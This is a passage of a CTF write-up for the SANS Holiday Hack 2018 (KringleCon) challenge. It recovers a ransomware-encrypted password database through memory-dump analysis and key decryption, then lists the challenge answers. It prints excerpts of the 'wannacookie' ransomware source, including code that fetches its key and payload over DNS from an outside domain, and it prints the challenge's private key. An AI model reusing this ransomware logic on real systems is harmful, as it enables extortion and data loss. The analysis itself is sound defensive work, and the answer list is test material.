I then felt stupid: I had forgotten that KringleCon is initially a security conference. I then proceeded to watch Chris Davis' talk on PowerShell malware memory analysis, where he presents his tool power_dump, which can be used to analyze memory dump of PowerShell processes, and extract variables.

I loaded up power_dump, sighing that I finally will be able to answer this question. I used the tool to search for 32-byte long hexadecimal representation:

================ Filters ================
1| MATCHES  bool(re.search(r"^[0-9a-fA-F]+$",variable_values)) 2| LENGTH len(variable_values) == 32 [i] 5 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : print all 033ecb2bc07a4d43b5ef94ed5a35d280 Variable Values #1 above ^ Type any key to go back and just Enter to Continue... cf522b78d86c486691226b40aa69e95c Variable Values #2 above ^ Type any key to go back and just Enter to Continue... 9e210fe47d09416682b841769c78b8a3 Variable Values #3 above ^ Type any key to go back and just Enter to Continue... 4ec4f0187cb04f4cb6973460dfe252df Variable Values #4 above ^ Type any key to go back and just Enter to Continue... 27c87ef9bbda4f709f6b4002fa4af63c Variable Values #5 above ^ Type any key to go back and just Enter to Continue...  "Huh", I thought, "these keys look familiar". That's because I had already found them in the memory dump using strings! And I know that they're not the correct keys! #### The right solution Despair fell on me again. Now I was freshly out of ideas, again! I then turned to my last resort: the KringleCon chat. People told me that maybe I shouldn't try to look directly for the key in memory, but to another form. I also noticed that people were talking a lot about public/private key encryption. And then it clicked: I should look for the encrypted key in memory, that is the value of the $p_k_e_k variable. But even if I find this value, how will I decrypt it without the private key? My colleague imaibou mentioned that he tried to factor the public key using weak factors, but to no avail. I saw in the KringleCon chat that some people had managed to find the ransomware's private key.

And then it cliked again! I thought back to the first hint, the one I didn't understand, talking about wannacookie.min.ps1. Remember the hash we used for our Snort rule? Its value is 77616E6E61636F6F6B69652E6D696E2E707331. What happens if we decode this hex value?

$echo 77616E6E61636F6F6B69652E6D696E2E707331 | xxd -r -p wannacookie.min.ps1  We can encode some file names in hexadecimal, and then download them from the DNS server, using the g_o_dns PowerShell function. For example, let's try to download an unminified version of the malware. We can kind of guess that the filename will be wannacookie.ps1. Let's encode this, and download it with g_o_dns: $ echo -n wannacookie.ps1 | xxd -p
77616e6e61636f6f6b69652e707331

PS C:\> g_o_dns("77616e6e61636f6f6b69652e707331") > .\wannacookie.ps1
$functions = { function Enc_Dec-File($key, $File,$enc_it) {
[byte[]]$key =$key
$Suffix = ".wannacookie" [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography') [System.Int32]$KeySize = $key.Length*8$AESP = New-Object 'System.Security.Cryptography.AesManaged'
[...]
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000" if ($null -ne ((Resolve-DnsName -Name $(H2A$(B2H $(ti_rox$(B2H $(G2B$(H2B $S1)))$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return}
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )$Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00})
$Hex_key =$(B2H $Byte_key)$Key_Hash = $(Sha1$Hex_key)
[...]


Awesome, we can download file from the DNS server. Now, let's go back to the malware's source code. How did it download the public key?

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );


Let's decode the 7365727665722E637274 string:

$echo 7365727665722E637274 | xxd -p -r server.crt  So, apparently, the public key was in a file called server.crt. What's the name of the file containing the private key? Let's try something simple, such as server.key. $ echo -n server.key | xxd -p
7365727665722e6b6579

PS C:\> g_o_dns("7365727665722e6b6579")
-----BEGIN PRIVATE KEY-----
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----


Awesome! We now have the ransomware's private key! We can use it to recover our AES key. But first, we must find our encrypted AES key in our memory dump. To know what we're looking for, let's encrypt a fake AES key using the ransomware's source code and public key, to see the result:

PS C:\> $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274")));
PS C:\> $b_k = @(1..16) PS C:\> p_k_e$b_k $p_k b9554cb7ea6ff46c689d90a8d42fc9b9692552d42b6ca34c8aa4593602e7d0cbef88d5dda935960c4ab4e92d789e290c58bf1a280ca9bbf502a8c43ad0eba242e2c8000d5e81fb73aa381dff97cf58c51bb1a49d3a54c15a4de84cf3029cc9dba7364ccc78e95058480f25719cb6aa7763469175dadd031113f6f64ba461adb5303a5c65cb6260bf1ca24eed4e251a99f4219cee6f35aa166e29c3215381bfecd0f9b3eded6acfeeaf8695f55b8e3741c8ca365f8a81560fb92e1bddb11b1bb19399b0a377dd5226e0930ea812c8c151382a7508aab93b4a9f19535fa2808b23520f249bb63d747f3e49a4b279a3cafcadba4daa2175b35d8841def66a2abfd4  Alright, the encrypted key we're looking for seems to be a 512-byte long hex representation. Let's use strings and grep to look for something like this in the memory dump: $ strings -e b powershell.exe_181109_104716.dmp| grep -E '^[0-9a-f]{512}$' 3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971  We got a unique match! This may be our luck. Let's hex-decode this string, and try to decrypt it. To decrypt it, I'll use openssl to generate a full certificate, with combined public and private keys in a single file. The resulting .pfx file won't have any passphrase: NB: Before that, make sure that you add -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- in the public key file. $ strings -e b powershell.exe_181109_104716.dmp| grep -E '^[0-9a-f]{512}$' | xxd -p -r > encrypted_aes_key.raw$ openssl pkcs12 -export -in ./public.cer -inkey ./private.key -out wannacookie_cert.pfx


Now let's decrypt this key:

PS C:\> $wannacookie_cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("C:\path\to\wannacookie_cert.pfx") PS C:\>$key_bytes = [System.IO.File]::ReadAllBytes("C:\path\to\encrypted_aes_key.raw")
PS C:\> B2H $($wannacookie_cert.PrivateKey.Decrypt($key_bytes,$true))
fbcfc121915d99cc20a3d3d5d84f8308


We have our decrypted key (well, a decrypted key). Let's see if it works. Since I loath PowerShell's syntax, I'm using a little Python script to decrypt Alabaster's password database:

#!/usr/bin/env python

import sys
import struct
from Crypto.Cipher import AES

def main():
if len(sys.argv) != 3:
print 'Usage: {} <file_to_decrypt> <key>'.format(sys.argv[0])
sys.exit(1)

encrypted_file = sys.argv[1]

with open(encrypted_file, 'rb') as f:
# We read 4 bytes to get the IV's size

# We read the rest of the file

key = sys.argv[2].decode('hex')

aes = AES.new(key, AES.MODE_CBC, iv)
decrypted_content = aes.decrypt(encrypted_content)
with open(decrypted_file, 'wb') as f:
f.write(decrypted_content)

if __name__ == '__main__':
main()

$./decrypt_wannacookie.py ./alabaster_passwords.elfdb.wannacookie fbcfc121915d99cc20a3d3d5d84f8308$ file alabaster_passwords.elfdb
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002


Finally! We have our decrypted file:

\$ sqlite3 ./alabaster_passwords.elfdb
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE IF NOT EXISTS "passwords" (
name    TEXT NOT NULL,
password    TEXT NOT NULL,
usedfor    TEXT NOT NULL
);
sqlite> select * from passwords where usedfor="vault";
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault


We finally find the final password: ED#ED#EED#EF#G#F#G#ABA#BA#B.

## Who Is Behind It All?

Using Alabaster's password, we can now try to enter Santa's vault. We just have to play the tune on the piano lock and...

Damn! This isn't the right key! If you remember Holy Evergreen's document on music transposition, Alabster likes song in the key of D major. Now, we just have to find what's the key of the original song.

We can use the following rules of thumb:

• What's the first note? E.
• What's the most common note? E.
• What's the last note? B.

The two first rules hint that this is in the key of E. Indeed, every note in the password fit in the E major scale (well, except for the borrowed A♯).

Note: this is by no means a fool-proof method to identify the key of a song, but it can be handy.

So, the song is in E major, and we want it in D major. D is a whole step below E, so we must take every note in the song, and move them down one whole step. This gives us DC#DC#DDC#DEF#EF#GAG#AG#A. We can now play this on the piano lock:

This gives us the message You have unlocked Santa's vault!.

Success! We now have access to Santa's vault. Now, to find who is behind it all. We go inside the vault and we find... Hans? And Santa?!

Alabaster says

I'm seriously impressed by your security skills!

How could I forget that I used Rachmaninoff as my musical password?

Of course I transposed it it before I entered it into my database for extra security.

Alabaster steps aside, revealing two familiar, smiling faces.

Hans says

It’s a pleasure to see you again.

Congratulations.

Santa says

You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!

You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!

You see, I finally found you!

I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.

That’s why we had so many different challenges this year.

We needed to find someone with skills all across the spectrum.

I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.

And you did!

Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.

See what happens when they take off those hats?

Santa continues

And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.

You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?

They lived happily ever after.

Thank you, Santa!

1. What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?

The phrase revealed is Happy Trails.

1. Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?

The talk was submitted by John McClane.

1. The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?

The message is Welcome unprepared speaker!.

1. Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?

The password is Yippee-ki-yay, motherf*cker.

1. Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name (in username@domain.tld format)?

The user is LDUBEJ00320@AD.KRINGLECASTLE.COM.

1. Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?

The access control number is 19880715.

1. Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K"?

The terrorist organization is Fancy Beaver.

1. Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?

The song is Mary Had a Little Lamb.

1. Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. To start, assist Alabaster by accessing (clicking) the snort terminal below. Then create a rule that will catch all new infections. What is the success message displayed by the Snort terminal?

The success message is [+] Congratulation! Snort is alerting on all ransomware and only the ransomware!.

1. After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?

The domain name is erohetfanu.com.

1. Analyze the full malware source code to find a kill-switch and activate it at the North Pole's domain registrar HoHoHo Daddy. What is the full sentence text that appears on the domain registration success message (bottom sentence)?

The sentence is Successfully registered yippeekiyaa.aaay!.

1. After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered in the database for the Vault entry?

The password in the database is ED#ED#EED#EF#G#F#G#ABA#BA#B.

1. Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?

The message is You have unlocked Santa's vault!.

1. Who was the mastermind behind the whole KringleCon plan?

The mastermind was Santa all along!

## Conclusion

Whew! Well, this sure was challenging. For some of these questions, I think I was too focused on one possible answer, and when I saw it wasn't the correct one, I felt out of ideas. For example, I shouldn't have missed the hex encoding of the file names in the ransomware source code, but I was distracted by the unsafe randomness!

Which brings the question, is Get-Random actually cryptographically safe is used without a seed? This seems to contradicts what I've found during my research, but I don't have the answer 🤷‍♂️.

Our next question is, what does erohetfanu (the domain used for the ransomware DNS server) mean? I asked one of my anagram-enthusiast friend what it could mean, and he gave me the following answers:

• Four ethane
• A fun hetero (I like this one)
• Ah fourteen
• Unearth foe
• Fear the UNO (Hmmm, what?)
• One fur heat
• Eat, fun hero (Also like this one)
• A foe hunter (Probably this one, though)

And finally does this really qualify as a **Christmas** challenge? 😉

Once again, congratulations to the SANS team for a well executed challenge. I enjoyed the fact that it allowed people to use real-world professional tools and techniques (like BloodHound`, and Kerberoast). I also really liked the malware analysis portion, even if I was a litle bit frustrated with myself! It's not something that we usually do in our day-to-day work and I enjoyed the exercise.

See you next year!